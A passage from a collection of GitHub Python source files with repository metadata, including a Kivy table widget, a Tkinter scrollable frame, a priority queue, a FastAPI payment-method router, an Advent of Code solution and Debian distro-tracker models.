impresora esta fallando'\n                                                u', asegurate de que este conectada y con papel dentro\\n'\n                                                u'Deseas volver a intentar? (Si escoges NO se guardara la venta, pero no se'\n                                                u'imprimira ticket)',\n                                                QtGui.QMessageBox.Yes,\n                                                QtGui.QMessageBox.No)\n                if ok == QtGui.QMessageBox.Yes:\n                    continue\n                else:\n                    flush_printer()\n                    return\n            break\n        QtGui.QMessageBox.information(\n            parent, 'Finalizado', 'Ticket Imprimido, Guarde ticket')\n\n    @staticmethod\n    def get_quantity_product(id_product):\n        product = session.query(Producto).get(id_product)\n        return product.stock\n\n\ndef test_api():\n    sale_api = SaleApi(float(3.0), 2)\n    sale_api.generate_factura()\n    sale_api.add_detail_service(type_service=None)\n    sale_api.save_sale()","repo_name":"elias174/LibraryElohim","sub_path":"api/api_sales.py","file_name":"api_sales.py","file_ext":"py","file_size_in_byte":6978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18759154708","text":"#importing required libraries\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport sklearn\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.datasets import load_boston\r\n\r\n#conver boston data to data frame and check\r\nboston1 = load_boston()\r\nbos = pd.DataFrame(boston1.data)\r\nprint(bos.head())\r\n\r\n#add column names\r\nbos.columns = boston1.feature_names\r\n\r\n#setting target\r\nbos['PRICE'] = boston1.target\r\nprint(bos.head())\r\n\r\n#loading the data in python and seperare dependent and independent variables\r\n\r\n#independent variables\r\nx = bos.drop('PRICE', axis = 1)\r\n\r\n#dependent variable\r\ny = bos['PRICE']\r\n\r\n#dividing the dataset to tarining set and test set\r\n#x_train, x_test, y_train, y_test = sklearn.model_selection.train_test_split(x, y, test_size = 0.33, random_state = 5)\r\n\r\nfrom sklearn.cross_validation import train_test_split\r\n\r\nx_train, x_test, y_train, y_test = sklearn.cross_validation.train_test_split(x, y, test_size = 0.33, random_state = 5)\r\n\r\n#creating the Linear regression model\r\nlm = LinearRegression()\r\n\r\n#fit the model on train dataset\r\nlm.fit(x_train, y_train)\r\n\r\n#make predictions using created model\r\ny_train_pred = lm.predict(x_train)\r\n\r\n#use the model to predice the test dataset\r\ny_test_pred = lm.predict(x_test)\r\n\r\n#put the predicted and actual side by side to check the efficiency of the model\r\ndf = pd.DataFrame(y_test_pred,y_test)\r\n\r\nprint(df)\r\n\r\n\r\n#calculate the MSE\r\nfrom sklearn import metrics\r\n\r\nmse = metrics.mean_squared_error(y_test, y_test_pred)\r\nprint(mse)\r\n\r\n\r\n#plot and see where the model fits.\r\nplt.scatter(y_train_pred, y_train_pred - y_train,c='blue', marker='o', label = 'Training data')\r\nplt.scatter(y_test_pred, y_test_pred - y_test,c='lightgreen', marker='o', label = 'Test data')\r\nplt.xlabel('Predicted values')\r\nplt.ylabel('Residuals')\r\nplt.legend(loc = 'upper left')\r\nplt.hlines(y=0, xmin=0, xmax=50)\r\nplt.plot()\r\nplt.show()","repo_name":"Mohan1387/Python_Samples","sub_path":"lineanregression_sample.py","file_name":"lineanregression_sample.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"14602397085","text":"from kivy.clock import Clock\nfrom kivy.properties import ListProperty, BoundedNumericProperty, DictProperty, ObjectProperty\nfrom kivy.uix.button import Button\nfrom kivy.uix.textinput import TextInput\nfrom kivy_garden.SimpleTableLayout import SimpleTableLayout\nfrom kivy.garden import *\n\n# garden_system_dir = \"C:\\\\Users\\\\success\\\\.kivy\\\\garden\"\nfrom kivymd.app import MDApp\nfrom kivymd.uix.label import MDLabel\n\nprint(\"app dir : \", garden_app_dir)\nprint(\"sys dir : \", garden_system_dir)\nprint(\"home dir : \", kivy_home_dir)\n\n\nclass DataTableLayout(SimpleTableLayout):\n\n    # TODO : Right now if the table has both columns and rows headers, we must add columns' first before rows'.\n    #  Have to handle this.\n\n    table = ObjectProperty()\n    data = ListProperty()\n    col_headers = ListProperty()\n    row_headers = ListProperty()\n\n    # def __init__(self, cols, rows, **kwargs):\n    #     super(DataTableLayout, self).__init__(**kwargs)\n    #     self.cols = cols\n    #     self.rows = rows\n    #     self.data = [[TextInput(text=str(x)) for x in range(self.cols)] for y in range(self.rows)]\n    #     Clock.schedule_once(self.show_table, 0)\n\n    def __init__(self, *args, **kwargs):\n        super(DataTableLayout, self).__init__(*args, **kwargs)\n        self.cols = kwargs.get('cols', 10)\n        self.rows = kwargs.get('rows', 5)\n        self.data = [[TextInput(text=str(x)) for x in range(self.cols)] for y in range(self.rows)]\n        Clock.schedule_once(self.show_table, 0)\n\n    def on_col_headers(self, instance, value):\n        # col_headers is a new row, the first row\n        self.rows += 1\n        col_titles = []\n        for h in value:\n            new_header = Button(text=h.value)\n            col_titles.append(new_header)\n        if self.row_headers:\n            col_titles.insert(0, Button(text=\"Headers\"))\n        self.data.insert(0, col_titles)\n\n    def on_row_headers(self, instance, value):\n        # row_headers is a new column, the first one\n        self.cols += 1\n        row_titles = []\n        for h in value:\n            new_header = Button(text=h.value)\n            row_titles.append(new_header)\n        start, end, count, should_put_back_first_row = 0, self.rows, 0, False\n        if self.col_headers:\n            start = 1\n            end = self.rows - 1\n        for i in range(start, end):\n            row = self.data[i]\n            val = row_titles[count]\n            row.insert(0, val)\n            count += 1\n\n    def set_cell_row_span(self, cell_x, cell_y, row_span):\n        self.data[cell_y][cell_x].rowspan = row_span\n        while row_span > 1:\n            row_span = row_span - 1\n            # when deleting cells in batch cells shift to the left, so if you want to delete a cell\n            #  right under the current one you could have to look in lefter positions if the cell has already shifted\n            while True:\n                try:\n                    c = self.data[cell_y + row_span][cell_x]\n                    break\n                except IndexError as e:\n                    cell_x = cell_x - 1\n            del self.data[cell_y + row_span][cell_x]\n\n    def set_cell_col_span(self, cell_x, cell_y, col_span):\n        self.data[cell_y][cell_x].colspan = col_span\n        while col_span > 1:\n            col_span = col_span - 1\n            del self.data[cell_y][cell_x + col_span]\n\n    def set_row_row_span(self, row_number, row_span):\n        length = len(self.data[row_number])\n        for col_pos in range(length):\n            print(\"col_pos is : \", col_pos)\n            self.set_cell_row_span(col_pos, row_number, row_span)\n\n    def set_col_col_span(self, col_number, row_span):\n        for row_pos in range(len(self.data)):\n            print(\"row_pos is : \", row_pos)\n            self.set_cell_col_span(col_number, row_pos, row_span)\n\n    def set_cell_data(self, cell_x, cell_y, data):\n        self.data[cell_y][cell_x].text = data\n\n    def show_table(self, dt):\n        for row in self.data:\n            for cell in row:\n                print(\"value is \", cell.text)\n                if cell.text != 'header_strings':\n                    self.add_widget(cell)\n\n\nclass MismatchRowsNumberException(Exception):\n    pass\n\n\nclass MismatchColumsNumberException(Exception):\n    pass\n\n\n# from kivymd.app import MDApp\n\n\nclass Header:\n    value = None\n    row_span = 1\n    col_span = 1\n\n    def __init__(self, value):\n        self.value = value\n\n\nclass TestApp(MDApp):\n\n    def build(self):\n\n        dt = DataTableLayout(cols=4, rows=6)\n        dt.row_headers = [Header(\"student 1\"), Header(\"student 2\"), Header(\"student 3\"),\n                 Header(\"student 4\"), Header(\"student 5\"), Header(\"student 6\"),]\n        dt.col_headers = [Header(\"Maths\"), Header(\"SVT\"), Header(\"M\"), Header(\"fgfg\")]  # , \"grte\", \"hgjjh\"]\n        # dt.set_cell_row_span(1, 2, 4)\n        # dt.set_cell_col_span(1, 2, 2)\n        # dt.set_row_row_span(1, 2)\n        dt.set_col_col_span(2, 2)\n        dt.set_cell_data(2, 2, \"This should be none\")\n        return dt\n\n\nif __name__ == \"__main__\":\n    TestApp().run()\n","repo_name":"akiragithub/LearningPython","sub_path":"PerformX/datatable.py","file_name":"datatable.py","file_ext":"py","file_size_in_byte":5031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32964226803","text":"from ._shared import *\nfrom .UniformityFrame import *\n\nclass ScrollableFrame(tk.Frame):\n    '''A frame with optional frame elements like scrollbars and a sizegrip'''\n    class ChildTracker(UniformityFrame.ChildTracker):\n        def __init__(self,parent,child_dict=None):\n            super().__init__(parent,child_dict)\n            self._len=len(self)-1\n            self._manager_map={}\n        def __setitem__(self,key,value):\n            if len(self)>self._len:\n                value._setup(self.parent._frame,{})\n            else:\n                dict.__setitem__(self,key,value)\n        def pack_override(self,widget):\n            def pack(widget=widget,self=self,**kwargs):\n                self._manager_map[widget]='place'\n                kwargs['in_']=self.parent._frame\n                type(widget).pack(widget,**kwargs)\n                widget.lower()\n            return pack\n        def grid_override(self,widget):\n            def grid(widget=widget,self=self,**kwargs):\n                self._manager_map[widget]='place'\n                kwargs['in_']=self.parent._frame\n                type(widget).grid(widget,**kwargs)\n            return grid\n        def place_override(self,widget):\n            def place(widget=widget,self=self,**kwargs):\n                self._manager_map[widget]='place'\n                kwargs['in_']=self.parent._frame\n                type(widget).place(widget,**kwargs)\n            return place\n            \n    def __init__(self,root,scrollbars=(True,True),sizegrip=True,**kwargs):\n        ''''''\n        bd_f_kw={}\n        for x in ('bd','borderwidth','highlightthickness','relief'):\n            if x in kwargs:\n                bd_f_kw[x]=kwargs[x]\n                del kwargs[x]  \n        super().__init__(root,**bd_f_kw)\n        \n        self._bd_frame=tk.Frame(self)\n        self._frame=tk.Frame(self._bd_frame,**kwargs)\n        self._frame.place(x=0,y=0)\n        self._frame.position=(0,0)\n        \n        self._bd_frame.bind('<Configure>',lambda e:(self.yview(0,increment=True),self.xview(0,increment=True)))\n        self._scroll_bar_size=sb_size=15 \n        self.frame_elements=[False,False,False]\n               \n        from tkinter.ttk import Sizegrip\n        self._sg=Sizegrip(self)\n        self._y_sb=tk.Scrollbar(self,command=self.yview,orient='vertical')\n        self._x_sb=tk.Scrollbar(self,command=self.xview,orient='horizontal')\n        self.set_elements(scrollbars=scrollbars,sizegrip=sizegrip)\n        self.children=self.ChildTracker(self,self.children)\n        self.after(500,self._remap_children)\n        self.lower(self._frame)\n        \n    @property\n    def _window_dimensions(self):\n        return (self.winfo_width(),self.winfo_height())\n    \n    def _remap_children(self,event=None):\n        for w,key in self.children._manager_map.items():\n            f=getattr(w,key)\n            f()\n    \n    def set_elements(self,scrollbars=None,sizegrip=None):\n        \n        sb=self._scroll_bar_size\n        y=self._y_sb\n        x=self._x_sb\n        g=self._sg\n        sg=sizegrip if sizegrip is None else self.frame_elements[2]\n        if not scrollbars is None:\n            if scrollbars is True:\n                do_y=True;do_x=True\n            elif scrollbars is False:\n                do_y=False;do_x=False\n            else:\n                do_y=scrollbars[1];do_x=scrollbars[0]\n        else:\n            do_y=self.frame_elements[0]\n            do_x=self.frame_elements[1]\n        \n        self._bd_frame.place(relheight=1,relwidth=1,\n                    height=-sb if (do_y or sg) else 0,width=-sb if (do_x or sg) else 0)\n        if sg:\n            self._sg.place(relx=1,rely=1,height=sb,width=sb,anchor='se')\n        else:\n            self._sg.place_forget()\n        if do_y:\n            self._y_sb.place(relx=1,relheight=1,\n                height=-sb if sg else 0,width=sb,anchor='ne')\n            self.frame_elements[0]=True\n        else:\n            self._y_sb.place_forget()\n            self.frame_elements[0]=False\n        if do_x:\n            self._x_sb.place(rely=1,relwidth=1,\n                height=sb if sg else 0,width=-sb,anchor='sw')\n                    \n        \n                \n                \n                \n            \n    def xview(self,mx,offset='',increment=False):\n        if mx!='scroll':\n            cur_x,cur_y=self._frame.position\n            w=self._frame.winfo_width();h=self._frame.winfo_height()\n            mw,mh=self._window_dimensions\n            if not offset=='':\n                mx=offset\n            if isinstance(mx,str):\n                mx=float(mx)\n            mx*=w\n            if increment:\n                cur_x+=mx\n            else:\n                cur_x=mx\n            if abs(cur_x)>w-mw:\n                cur_x=w-mw\n            if cur_x<0:\n                cur_x=0\n            self._frame.place(x=-cur_x,y=-cur_y)\n            self._y_sb.lift();self._x_sb.lift();self._sg.lift()\n            self._frame.lower()\n            self._frame.position=(cur_x,cur_y)\n            self._x_sb.set(cur_x/w,(cur_x+mw)/w)\n        \n    def yview(self,my,offset='',increment=False):\n        if my!='scroll':\n            cur_x,cur_y=self._frame.position\n            w=self._frame.winfo_width();h=self._frame.winfo_height()\n            mw,mh=self._window_dimensions\n            if not offset=='':\n                my=offset\n            if isinstance(my,str):\n                my=float(my)\n            my*=h\n            if increment:\n                cur_y+=my\n            else:\n                cur_y=my\n            if abs(cur_y)>h-mh:\n                cur_y=h-mh\n            if cur_y<0:\n                cur_y=0\n            self._frame.place(x=-cur_x,y=-cur_y)\n            self._y_sb.lift();self._x_sb.lift();self._sg.lift()\n            self._frame.lower()\n            self._frame.position=(cur_x,cur_y)\n            self._y_sb.set(cur_y/h,(cur_y+mh)/h)","repo_name":"r08in279/Traffic-Management-Using-Drones","sub_path":"research/object_detection/python-tkinter-gui-master/GUITools/FormattingWidgets/ScrollableFrame.py","file_name":"ScrollableFrame.py","file_ext":"py","file_size_in_byte":5831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8653284613","text":"# -*- coding: utf-8 -*-\nimport itertools\n\nfrom heapq import heappush, heappop, nlargest, heapify\n\n\nclass PriorityQueue(object):\n  \"\"\"Vanilla pq implementation using python libraries.\"\"\"\n  def __init__(self):\n    self.pq = []\n    self.entry_finder = {}\n    self.counter = itertools.count()\n\n  def push(self, hash_code, priority=0):\n    self.remove(hash_code)\n    count = next(self.counter)\n    entry = [priority, count, hash_code]\n    self.entry_finder[hash_code] = entry\n    heappush(self.pq, entry)\n\n  def remove(self, hash_code):\n    if hash_code in self.entry_finder:\n      entry = self.entry_finder.pop(hash_code)\n      self.pq.remove(entry)\n      heapify(self.pq)\n      return entry\n    return None\n\n  def pop(self):\n    while self.pq:\n      priority, count, hash_code = heappop(self.pq)\n      del self.entry_finder[hash_code]\n      return hash_code\n    raise KeyError('pop from an empty priority queue')\n\n  def nlargest(self, n):\n    return [entry[2] for entry in nlargest(n, self.pq)]\n\n  def __len__(self):\n    return len(self.pq)\n","repo_name":"wenkesj/khh","sub_path":"khh/pqueue.py","file_name":"pqueue.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"21056072992","text":"#!/usr/bin/env python\n# coding:utf-8\n# ------Author:Chenxi Li--------\n\nimport cv2\n# the path of target image for face detection\nimagePath = \"/Users/ChenxiLi/Desktop/4.jpeg\"\n# Please find the xml files in \"opencv_haarcascades\" folder and specify your path\nfacedetect = \"./opencv_haarcascades/haarcascade_frontalface_alt2.xml\"\n\n# Create the haarcascade clasifier\nfaceCascade = cv2.CascadeClassifier(facedetect)\n\n# Read the image\nimage = cv2.imread(imagePath)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n# Detect faces in the image\nfaces = faceCascade.detectMultiScale(gray, 1.3,5)\n\n# Draw a rectangle around the faces\nfor (x, y, w ,h) in faces:\n    img = cv2.rectangle(image, (x,y), (x+w, y+h), (0,255,0) , 2)\n\ncv2.imshow(\"Faces  found\" ,image)\ncv2.imwrite(\"/Users/ChenxiLi/Desktop/facefound4.jpeg\",image)\ncv2.waitKey(0)","repo_name":"chenxi1103/Face_Recognition_Project","sub_path":"FisherFaces_for_Gender/face-detect.py","file_name":"face-detect.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
{"seq_id":"28523833040","text":"T = int(input())\n\nfor t in range(1, T+1):\n    N, M, K = map(int, input().split())\n    data = list(map(int, input().split()))\n    idx = 0\n    start = data[0]\n    for k in range(K):\n        if idx+M == N:\n            idx = N\n        else:\n            idx = (idx+M)%(N)\n        data.insert(idx,0)\n        N += 1\n        if idx-1 >= 0:\n            data[idx] += data[idx-1]\n        if idx+1 < N:\n            data[idx] += data[idx+1]\n        else:\n            data[idx] += start\n    \n    answer = data[-10:][::-1]\n    print('#{} {}'.format(t, ' '.join(map(str,answer))))","repo_name":"Kuhnhee/TIL","sub_path":"algorithm/algorithm_challenges/SWEA/swea_0903_5120.py","file_name":"swea_0903_5120.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"2212469601","text":"#!/usr/bin/python\n\"\"\"\nSolution to Day 1 of the Advent of Code 2022 event.\n\nhttps://adventofcode.com/2022/day/1\n\nUsage: \n    If using an input file 'solution.py --input-file <input file name>'\n    If using text as input 'solution.py --input-text \"<input>\"'\n\"\"\"\n\nimport argparse\n\n\nclass Solution():\n    \"\"\"\n    Class that builds the solution\n    \"\"\"\n\n    def __init__(self):\n        self.calories_by_elf = []\n\n    def get_arguments(self):\n        \"\"\"\n        Handles the arguments that are available for this class\n        \"\"\"\n        parser = argparse.ArgumentParser()\n        parser.add_argument(\"--input-file\", type=str, required=False,\n                            help=\"Input file\")\n        parser.add_argument(\"--input-text\", type=str, required=False,\n                            help=\"Input text\")\n        args = parser.parse_args()\n        if args.input_file:\n            self.get_groupings_from_input(args.input_file)\n        elif args.input_text:\n            self.get_groupings_from_input(args.input_text, False)\n\n    def get_max(self):\n        \"\"\"\n        Returns the elf with the largest amount of calories\n        \"\"\"\n        return max(self.calories_by_elf, key=self.calories_by_elf.get)\n\n    def get_top_elf(self):\n        return self.calories_by_elf[self.get_max()]\n\n    def get_top_three_elves(self):\n        \"\"\"\n        Returns the sum of the top 3 largest amount of calories\n        \"\"\"\n        result = []\n        for _ in range(3):\n            current_max_elf = self.get_max()\n            result += [self.calories_by_elf[current_max_elf]]\n            self.calories_by_elf.pop(current_max_elf)\n        return sum(result)\n\n    def get_groupings_from_input(self, input_data, is_file=True):\n        \"\"\"\n        Reads input and returns the total calories consumed\n            by each elf\n        \"\"\"\n        calories_by_elf = {}\n        elf = 0\n        input_split = []\n        if is_file:\n            with open(input_data, 'r', encoding=\"utf-8\") as file:\n                input_split = file.read().split(\"\\n\\n\")\n        else:\n            input_split = input_data.split(\"\\n\\n\")\n        for grouping in input_split:\n            # split by line, ignoring empty if the value is empty\n            calories = list(filter(None, grouping.split(\"\\n\")))\n            # convert the list values to integers\n            calories = map(int, calories)\n            calories_by_elf[elf] = sum(calories)\n            elf += 1\n        self.calories_by_elf = calories_by_elf\n        return\n\n\nif __name__ == \"__main__\":\n    solution = Solution()\n    solution.get_arguments()\n    print(f\"Solution Part One : {solution.get_top_elf()}\")\n    print(f\"Solution Part Two: {solution.get_top_three_elves()}\")\n","repo_name":"spicydilly/advent-of-code-2022","sub_path":"day-1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"14563827935","text":"from google_images_download import google_images_download\nimport os\n\ndef make_dataset(subject, classes):\n    for category in classes: \n        response = google_images_download.googleimagesdownload()   #class instantiation\n        arguments = {\"output_directory\":\"datasets/\"+subject, \"keywords\":category, \"limit\":100, \"print_urls\":True, \"format\":\"jpg\"}   #creating list of arguments\n        paths = response.download(arguments)   #passing the arguments to the function\n        print(paths)\n\n\ndatasets = dict(\n        # category=[\"T-shift\", \"pants\", \"hats\", \"bag\"],\n        color=[\"red clothes\", \"blue clothes\", \"green clothes\", \"white clothes\", \"black clothes\"],\n        brand=[\"adidas\", \"nike\"]\n        )\n\nfor subject in datasets:\n    make_dataset(subject, datasets[subject])\n\n","repo_name":"yassineb/mercari-hackathon-2018","sub_path":"model_server/make_datasets.py","file_name":"make_datasets.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"8276445143","text":"from API.schemas.cms.payment_agreement.payment_method import CreatePaymentMethod, ShowPaymentMethod, UpdatePaymentMethod\r\nfrom API.schemas.employee.user import User\r\nfrom typing import List\r\nfrom fastapi import APIRouter, Depends, status, responses\r\nfrom .... import database,security#, oauth2\r\nfrom sqlalchemy.orm import Session\r\nfrom API.repository.cms.payment_agreement import payment_method\r\n\r\nrouter = APIRouter(\r\n    prefix=\"/cms/user/payment_method\",\r\n    tags=['Payment Methods']\r\n)\r\n\r\nget_db = database.get_db\r\n\r\n\r\n@router.get('/datatable', status_code=status.HTTP_200_OK, response_model=List[ShowPaymentMethod])\r\ndef datatable(\r\n    db: Session = Depends(get_db),\r\n    result = Depends(security.auth)\r\n):\r\n    try:\r\n        return responses.RedirectResponse(result['url'], status_code=302)\r\n    except:\r\n        return payment_method.datatable(db)\r\n\r\n@router.get('/find_all', status_code=status.HTTP_200_OK, response_model=List[ShowPaymentMethod])\r\ndef find_all(\r\n    db: Session = Depends(get_db),\r\n    result = Depends(security.auth)\r\n):\r\n    try:\r\n        return responses.RedirectResponse(result['url'], status_code=302)\r\n    except:\r\n        return payment_method.find_all(db)\r\n\r\n\r\n@router.get('/{id}', status_code=status.HTTP_200_OK, response_model=ShowPaymentMethod)\r\ndef find_one(\r\n    id, \r\n    db: Session = Depends(get_db), \r\n    result = Depends(security.auth)\r\n):\r\n    try:\r\n        return responses.RedirectResponse(result['url'], status_code=302)\r\n    except:\r\n        return payment_method.find_one(id, db)\r\n\r\n\r\n@router.post('/', status_code=status.HTTP_201_CREATED)\r\ndef create(\r\n    request: CreatePaymentMethod, \r\n    db: Session = Depends(get_db), \r\n    result = Depends(security.auth)\r\n):\r\n    try:\r\n        return responses.RedirectResponse(result['url'], status_code=302)\r\n    except:\r\n        return payment_method.create(request, db)\r\n\r\n\r\n@router.put('/{id}', status_code=status.HTTP_202_ACCEPTED)\r\ndef update(\r\n    id, \r\n    request: UpdatePaymentMethod, \r\n    db: Session = Depends(get_db), \r\n    result = Depends(security.auth)\r\n):\r\n    try:\r\n        return responses.RedirectResponse(result['url'], status_code=302)\r\n    except:\r\n        return payment_method.update(id, request, db)\r\n\r\n\r\n@router.delete('/{id}/{updated_by}', status_code=status.HTTP_200_OK)\r\ndef delete(\r\n    id, \r\n    updated_by: str, \r\n    db: Session = Depends(get_db), \r\n    result = Depends(security.auth)\r\n):\r\n    try:\r\n        return responses.RedirectResponse(result['url'], status_code=302)\r\n    except:\r\n        return payment_method.delete(id,updated_by,db)\r\n","repo_name":"bautista2k19/Integrated-Finance-Modules","sub_path":"API/routers/cms/payment_agreement/payment_method.py","file_name":"payment_method.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32369475932","text":"from Controller.SciKitDynamic.DynamicCsvConverter import DynamicCsvConverter\nfrom Controller.SciKitDynamic.Train import Train\n\nparts = ['Position', 'Velocity', 'PushPressure', 'PressureA', 'PressureB', 'ClaspPressure', 'OilTemperature']\n\ntotalMAE = 0\ntotalMAPE = 0\ntimes = 0\n\ntrain = Train(str(1), 'ClaspPressure', 'max', '5min')\ntrain.create_model()\ntrain.load_data()\ntrain.train_model()\nwith open('1.txt', 'w') as f:\n    f.write('[')\n    for item in train.dataframe['GPV_Position'].to_list():\n        f.write(str(round(item, 2)) + ', ')\n    f.write(']')\naccuracy = train.accuracy()\ntotalMAE += accuracy[0]\ntotalMAPE += accuracy[1]\ntimes += 1\n\nprint('AVG MAE: ' + str(totalMAE / times))\nprint('AVG MAPE: ' + str(totalMAPE / times))\n","repo_name":"dirk4/StageKremer","sub_path":"GelredomeVeldErrorVoorspellen/AvarageAccuracyViewer.py","file_name":"AvarageAccuracyViewer.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11414015559","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.db import models\nfrom django.utils.http import urlencode\n\nfrom jsonfield import JSONField\n\nfrom distro_tracker.core.models import (\n    BinaryPackageBugStats,\n    BugDisplayManager,\n    PackageBugStats,\n    PackageName,\n    SourcePackageName,\n)\nfrom distro_tracker.core.utils import SpaceDelimitedTextField, get_or_none\nfrom distro_tracker.core.utils.packages import package_hashdir\n\n\nclass DebianContributor(models.Model):\n    \"\"\"\n    Model containing additional Debian-specific information about contributors.\n    \"\"\"\n    email = models.OneToOneField('django_email_accounts.UserEmail',\n                                 on_delete=models.CASCADE)\n    agree_with_low_threshold_nmu = models.BooleanField(default=False)\n    is_debian_maintainer = models.BooleanField(default=False)\n    allowed_packages = SpaceDelimitedTextField(blank=True)\n\n    def __str__(self):\n        return 'Debian contributor <{email}>'.format(email=self.email)\n\n\nclass LintianStats(models.Model):\n    \"\"\"\n    Model for lintian stats of packages.\n    \"\"\"\n    package = models.OneToOneField(PackageName, related_name='lintian_stats',\n                                   on_delete=models.CASCADE)\n    stats = JSONField()\n\n    def __str__(self):\n        return 'Lintian stats for package {package}'.format(\n            package=self.package)\n\n    def get_lintian_url(self):\n        \"\"\"\n        Returns the lintian URL for the package matching the\n        :class:`LintianStats\n        <distro_tracker.vendor.debian.models.LintianStats>`.\n        \"\"\"\n        package = get_or_none(SourcePackageName, pk=self.package.pk)\n        if not package:\n            return ''\n\n        return (\n            'https://udd.debian.org/lintian/?packages={pkg}'.format(\n                pkg=self.package)\n        )\n\n\nclass PackageTransition(models.Model):\n    package = models.ForeignKey(PackageName, related_name='package_transitions',\n                                on_delete=models.CASCADE)\n    transition_name = models.CharField(max_length=120)\n    status = models.CharField(max_length=50, blank=True, null=True)\n    reject = models.BooleanField(default=False)\n\n    def __str__(self):\n        return \"Transition {name} ({status}) for package {pkg}\".format(\n            name=self.transition_name, status=self.status, pkg=self.package)\n\n\nclass PackageExcuses(models.Model):\n    package = models.OneToOneField(PackageName, related_name='excuses',\n                                   on_delete=models.CASCADE)\n    excuses = JSONField()\n\n    def __str__(self):\n        return \"Excuses for the package {pkg}\".format(pkg=self.package)\n\n\nclass BuildLogCheckStats(models.Model):\n    package = models.OneToOneField(\n        SourcePackageName,\n        related_name='build_logcheck_stats',\n        on_delete=models.CASCADE)\n    stats = JSONField()\n\n    def __str__(self):\n        return \"Build logcheck stats for {pkg}\".format(pkg=self.package)\n\n\nclass UbuntuPackage(models.Model):\n    package = models.OneToOneField(\n        PackageName,\n        related_name='ubuntu_package',\n        on_delete=models.CASCADE)\n    version = models.TextField(max_length=100)\n    bugs = JSONField(null=True, blank=True)\n    patch_diff = JSONField(null=True, blank=True)\n\n    def __str__(self):\n        return \"Ubuntu package info for {pkg}\".format(pkg=self.package)\n\n\nclass DebianBugDisplayManager(BugDisplayManager):\n    table_field_template_name = 'debian/package-table-fields/bugs.html'\n    panel_template_name = 'debian/bugs.html'\n    # Map category names to their bug panel display names and descriptions\n    category_descriptions = {\n        'rc': {\n            'display_name': 'RC',\n            'description': 'Release Critical',\n        },\n        'normal': {\n            'display_name': 'I&N',\n            'description': 'Important and Normal',\n        },\n        'wishlist': {\n            'display_name': 'M&W',\n            'description': 'Minor and Wishlist',\n        },\n        'fixed': {\n            'display_name': 'F&P',\n            'description': 'Fixed and Pending',\n        },\n        'patch': {\n            'display_name': 'patch',\n            'description': 'Patch',\n        },\n        'help': {\n            'display_name': 'help',\n            'description': 'Help needed',\n        },\n        'newcomer': {\n            'display_name': 'NC',\n            'description': 'newcomer',\n            'link': 'https://wiki.debian.org/BTS/NewcomerTag',\n        }\n    }\n\n    def get_bug_tracker_url(self, package_name, package_type, category_name):\n        \"\"\"\n        Returns a URL to the BTS for the given package for the given bug\n        category name.\n\n        The following categories are recognized for Debian's implementation:\n\n        - ``all`` - all bugs for the package\n        - ``all-merged`` - all bugs, including the merged ones\n        - ``rc`` - release critical bugs\n        - ``rc-merged`` - release critical bugs, including the merged ones\n        - ``normal`` - bugs tagged as normal and important\n        - ``normal`` - bugs tagged as normal and important, including the merged\n          ones\n        - ``wishlist`` - bugs tagged as wishlist and minor\n        - ``wishlist-merged`` - bugs tagged as wishlist and minor, including the\n          merged ones\n        - ``fixed`` - bugs tagged as fixed and pending\n        - ``fixed-merged`` - bugs tagged as fixed and pending, including the\n          merged ones\n\n        :param package_name: The name of the package for which the BTS link\n            should be provided.\n        :param package_type: The type of the package for which the BTS link\n            should be provided. For Debian this is one of: ``source``,\n            ``pseudo``, ``binary``.\n        :param category_name: The name of the bug category for which the BTS\n            link should be provided. It is one of the categories listed above.\n\n        :rtype: :class:`string` or ``None`` if there is no BTS bug for the given\n            category.\n        \"\"\"\n        URL_PARAMETERS = {\n            'all': (\n                ('repeatmerged', 'no'),\n            ),\n            'rc': (\n                ('archive', 'no'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n                ('sev-inc', 'critical'),\n                ('sev-inc', 'grave'),\n                ('sev-inc', 'serious'),\n                ('repeatmerged', 'no'),\n            ),\n            'normal': (\n                ('archive', 'no'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n                ('sev-inc', 'important'),\n                ('sev-inc', 'normal'),\n                ('repeatmerged', 'no'),\n            ),\n            'wishlist': (\n                ('archive', 'no'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n                ('sev-inc', 'minor'),\n                ('sev-inc', 'wishlist'),\n                ('repeatmerged', 'no'),\n            ),\n            'fixed': (\n                ('archive', 'no'),\n                ('pend-inc', 'pending-fixed'),\n                ('pend-inc', 'fixed'),\n                ('repeatmerged', 'no'),\n            ),\n            'patch': (\n                ('include', 'tags:patch'),\n                ('exclude', 'tags:pending'),\n                ('pend-exc', 'done'),\n                ('repeatmerged', 'no'),\n            ),\n            'help': (\n                ('tag', 'help'),\n                ('pend-exc', 'pending-fixed'),\n                ('pend-exc', 'fixed'),\n                ('pend-exc', 'done'),\n            ),\n            